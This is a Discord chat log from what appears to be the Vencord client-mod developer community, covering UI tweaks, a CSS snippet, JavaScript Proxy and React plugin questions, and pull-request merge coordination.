junior olive
#

no..

#

go watch the gif

#

they added that trash transition

misty raptor
#

yeah the transition is janky as hell

crude raptor
misty raptor
#

but isnt it the same thing

junior olive
#

im literally developing custom avatar decorations why would i make a patch to hide avatar decorations ๐Ÿ˜ญ let me speak guhhh

junior olive
misty raptor
#

then why in that picture

#

is it the same

junior olive
#

that patch removes the jank transition not the decoration

misty raptor
#

is there a patch to remove the decoration

junior olive
#

no

#

well

misty raptor
#

not yet at least

junior olive
#

there's css shit

crude raptor
#

ok pause

#

i see what happened here

junior olive
#

yeah you two jumped the gun and wouldn't let me explain damn

crude raptor
#

we interpreted this as the animated decorations
not the decoration animations

livid heath
#

you mean this?

junior olive
#

yes

crude raptor
#

i mean ive literally never see this hover effect animation thing

junior olive
#

yeah they just added it

crude raptor
#

so i don't exactly feel bad for having no clue what you were on about

misty raptor
#

i cant even reproduce it

crude raptor
#

yeah i don't have it

junior olive
#

that's fine but you both jumped the gun and would not wait for me to explain

junior olive
livid heath
misty raptor
#

well its cuz instead of explaining you just went into some kind of defense mode

junior olive
#

literally added so recently

crude raptor
misty raptor
#

cuz im not on canary

junior olive
junior olive
crude raptor
#

don't think so

junior olive
#

wack are you sure you're up to date

misty raptor
junior olive
#

mhm

crude raptor
#

i don't see a download button

#

its probably shitcord only half rolling out a change to just cause confusion

livid heath
#

now you know what fiery was talking about its fine no point arguing

livid heath
crude raptor
#

who knows, they always surprise us

junior olive
#

i don't think you're up to date tbfh

#

it didn't seem to have a experiment from the look i've had it

#

if you really want to check inspect the profile pic of a popout and look for that translate3d

crude raptor
#

i went to the vencord updater- didn't see a download or whatever- did see that its failing to check for vencord updates because my local copy is git-pulled with an SSH link instead of https

junior olive
#

it's not a vencord update...

misty raptor
#

holy cow

crude raptor
#

i know but its called "updater" it probably checks both

misty raptor
#
[class^=avatarDecoration__] {
    display: none;
}```
#

thank god

junior olive
#

ugh

#

vencord*

misty raptor
#

did this alr exist in the snippets i couldnt find it after searching for 2 seconds

junior olive
#

its 3am man sadJoe

crude raptor
#

its 8am and ive been awake since the afternoon

junior olive
#

it's been posted around idk about in the snippets tho

crude raptor
#

hm well this is now unrelated but i cannot check for vencord updates...

livid heath
#

vencord updater only updates vencord

#

discord updates on the fly

crude raptor
#

yeah i know we figured it out but also this is totally an issue i should fix

misty raptor
#

trying to think of plugin ideas

#

cuz bored

#

what do the people really need

crude raptor
#

i think i already suggested it to pluralkitty but a plugin that connects to pluralkit and tupperbox and all the proxy bots, letting you switch with a built-in command that updates all bots (if it can)

#

basically just means you don't have to remember to switch if you swap to another server with a different bot or whatever
niche but nice

crude raptor
# crude raptor

in other news: i can definitely confirm that this is not a file or directory!
so uh...

livid heath
crude raptor
#

yes but turning it off and reloading didn't fix it

livid heath
#

looks like an issue with your ssh keys

junior olive
#

this seems like a problem with your ssh setup

#

yeah

crude raptor
#

well "sss-askpass" doesn't exist

#

and i can ssh into devices or use it with git stuff so- idk

junior olive
#

well this isn't vencord lol

crude raptor
#

how weird- i can find it on AUR i think? but... maybe a dependancy that it doesn't even check for because its assumed ??

junior olive
crude raptor
#

i shouldn't need it- as long as installing this fixes it lol

misty raptor
#

is it just me

#

or can i not use the destructuring to access strings

#

const { recentMentionsPopout } = findByPropsLazy("recentMentionsPopout");

#

it gives me a proxy

#

which yeah makes sense

#

but its a string not an object

#

wont let me conver tto string

junior olive
#

hm that's a interesting problem

misty raptor
#

everything is Reflect.get called on non-object

#

so i guess whoever made the destructure thing didnt expect people to use it for non-objects

#

kinda short sighted

livid heath
#

smh

austere talon
crude raptor
#

update: fixed my issue- had to install a completely separate ssh-askpass program and then symlink it into the location vencord was searching
weird as fuck? but it works!

misty raptor
#

ok so js really doesnt wanna let me proxy non-objects

#

i give up

#

too hard

warped turret
#

It's rather pure react question, but still.
I am creating a wrapper for MenuItem like that

const Foo = ({ bar }: { bar: string; }) => {
    return <Menu.MenuItem
        id={"baz-" + bar}
        label={bar.toLocaleUpperCase()}
    />;
}

But when I try to use it

<Menu.MenuItem
    id="test"
    label="test"
>

    <Foo bar="foo" />

</Menu.MenuItem>

I get the following error. How can I get around that?

verbal pumice
#

Foo is still another component even if all it does is return a menu

austere talon
#

dont make a wrapper

warped turret
austere talon
#

look at other plugins

warped turret
#

I did, but I don't think they used such a setup. They define custom components-wrappers for sure, but they are used in such places where it's not prohiobited unlike menu item that allows only self inside.

lime stone
#

you could call it as a function?

#

is that horrific?

warped turret
charred monolithBOT
verbal pumice
#

is it fine to move a find to commons if its used by a single plugin in multiple files

austere talon
#

just export it from within ur plugin

charred monolithBOT
lime stone
#

can somebody motivate me

charred monolithBOT
charred monolithBOT
pine topaz
#

then you will just forget about it like the other two PRs i have made.

charred monolithBOT
turbid hatch
#

@verbal pumice on your PR why did you change the base to main?

verbal pumice
#

got a merge conflict, prayed changing to main would solve it, and forgot to change it back

turbid hatch
#

alright, can you swap it back for me?

#

i'd do it myself but i'm unsure of any changes you want to preserve

verbal pumice
#

done

charred monolithBOT
misty raptor
#

keyword

#

wdym state

#

it works

#

no issue

charred monolithBOT
turbid hatch
#

that seems like an oddly specific bug

turbid hatch
#

i wonder if its specifically primitives

misty raptor
#

if you read up on how Proxy works it kinda makes sense

#

its just a bit annoying

#

it is specifically primitives

turbid hatch
#

oh

#

i see

#

yeah

#

i didnt realise that's what you were doing there

#

proxies require full objects so primitives wont work

#

if it was a new String() wrapped string that would probably work fine

misty raptor
#

idk what new string is

turbid hatch
#

a string object

#

vs a primitive

misty raptor
#

and frankly i dint feel confident modifying vencord core utils

#

idk what to do about this thing

#

idk what changes were specifically requested

turbid hatch
#

i have to do it

#

one sec

turbid hatch
#

that's the only way of clearing that

misty raptor
#

ok W

#

merge time (๐Ÿคž)

turbid hatch
#

i havfent had time to review it fully yet so dont take it as an approval

misty raptor
#

i wish i had images on the repo

#

so people could see

turbid hatch
#

you can post them in comments

misty raptor
#

how awesome this is

limber skiff
#

@turbid hatch merge to dev instead

turbid hatch
#

im not merging it

#

xd

#

i havent reviewed it, i was approving to clear the changes block

#

cause you cant retract a review

limber skiff
#

you merged the other

turbid hatch
#

was that not on dev?

turbid hatch
#

oh

#

shit

misty raptor
#

how muhc money do i have to give you to review it and merge it

turbid hatch
#

i thought it was cause when i gh pr checkouted it had devonly changes

limber skiff
#

oh lol

turbid hatch
#

mb

#

pls fix my mistakes ๐Ÿ™

misty raptor
#

are we talking like

#

10 buckaroos

limber skiff
#

ye I'm gonna pull the commit into dev

turbid hatch
#

ty, im gonna investigate how to fix usercss now

limber skiff
#

and have to force push prob

#

๐Ÿ˜ญ

turbid hatch
#

today is the first time ive gotten out of bed in a while, the brainfog hasnt quite gone away but it'll be fine

limber skiff
#

ooo nice

#

@pine topaz the icon doesnt work as it should

#

where is the z

#

ohhh

#

it's the mask

#

๐Ÿ˜‚ that's funny

turbid hatch
#

it looked okay to me :P

#

it lines it up in the rest of the UI

#

xd

limber skiff
#

yeye

#

I was justs confused where the z went

#

didn't realize it was cuz of the mask

turbid hatch
#

huh

#

usercss works now

#

alrighty...

#

you were right @limber skiff i cant get it to break now

#

how weird

#

unless you made some changes in dev to fix it

limber skiff
#

I didnt

turbid hatch
#

fuck knows then

#

magic fairy dust and an act of god

main trout
#

I fixed it

#

I eated the bug

charred monolithBOT
limber skiff
#

omg we love

charred monolithBOT
limber skiff
#

I feel for for who needs to pull from dev now

#

specially fiery that has his branch up to date with dev

#

maybe I should merge commit instead?

limber skiff
#

@turbid hatch btw make your find for color picker this findComponentByCodeLazy(".Messages.USER_SETTINGS_PROFILE_COLOR_SELECT_COLOR", ".BACKGROUND_PRIMARY)")

turbid hatch
#

hm?

limber skiff
#

discord uses .Messages.USER_SETTINGS_PROFILE_COLOR_SELECT_COLOR in another color picker too

grave mangoBOT
turbid hatch
#

like that?

limber skiff
#

yeah

turbid hatch
#

alr

pine topaz
#

having an absolute fucking downer of a day
feeling hopeless that i will succeed in life
check #๐Ÿ‘พ-core-development
"1 new commit from korbough in Vencord:dev"
having an absolute fucking rollercoaster of a day

lime stone
#

i guess you get the yellow role now?

charred monolithBOT
spark pivot
lime stone
#

๐Ÿคทโ€โ™€๏ธ i guess you're a contributor

misty raptor
#

one day

jagged cloak
#

fk i forgot

#

i forgot a 1

olive aurora
soft hazel
#

is making soundboard bypass possible

#

it should be i think

silk cypress
#

you could maybe download the sound and then play it through the microphone somehow

#

what I'm more curious about is modifying data sent via the gateway

I had the idea for a platform spoofing plugin (assuming that doesn't exist currently) to force your status to web/mobile/etc nvm that seems to be a thing #๐Ÿ‘พ-core-development message

junior olive
#

I'll deal with it

#

Idk how but I will

spark pivot
#

Oh yipee yellow

junior olive
silk cypress
#

why not?

#

actually I can probably just do my own reading about that like a normal human

misty raptor
#

the west has fallen, billions must accept and merge

limber skiff
#

just merge commit it's whatever

junior olive
#

apparently its fine?

limber skiff
#

click update

junior olive
#

im letting it do it ya

#

it merged fine

limber skiff
#

o

junior olive
#

review soon ๐Ÿ”ฅ

limber skiff
#

merge commits work so well

junior olive
#

๐Ÿ‘๏ธ ๐Ÿ‘๏ธ

dapper crest
#

Please review 2010

misty raptor
#

review

wanton wasp
#

8/10

dapper crest
lime stone
dapper crest
#

I don't know

#

I tend to use the first thing I think of and hate it. Most of the time people come up with better ones than me

lime stone
#

it's simple

#

a variable's name is what it contains

#

what could go wrong ๐Ÿซ 

#

just use full words, and only abbreviate when it's widely recognised and unambigious

#

imo
โœ… application -> app
โŒ window -> win

#

also, do not be afraid to put bad puns in your names

frail skyBOT
#
Bad Patches

NoTrack (found no module):
ID: -
Match: window.DiscordSentry=

Bad Webpack Finds

None

Bad Starts

None

Discord Errors

None

#
Bad Patches

NoTrack (found no module):
ID: -
Match: window.DiscordSentry=

Bad Webpack Finds

None

Bad Starts

None

Discord Errors

None

charred monolithBOT
jagged cloak
#

keyboard malfunction + i forgor for real!!

charred monolithBOT
crude raptor
lime stone
#

pluralkitty is more commonly known as dustyangel47 btw

#

i think?

#

they just nicked as a bot a while ago because there's no pluralkit in this server

crude raptor
#

i have seen that name (cause they dmed me before) but i just assumed using the nick would be more obvious

charred monolithBOT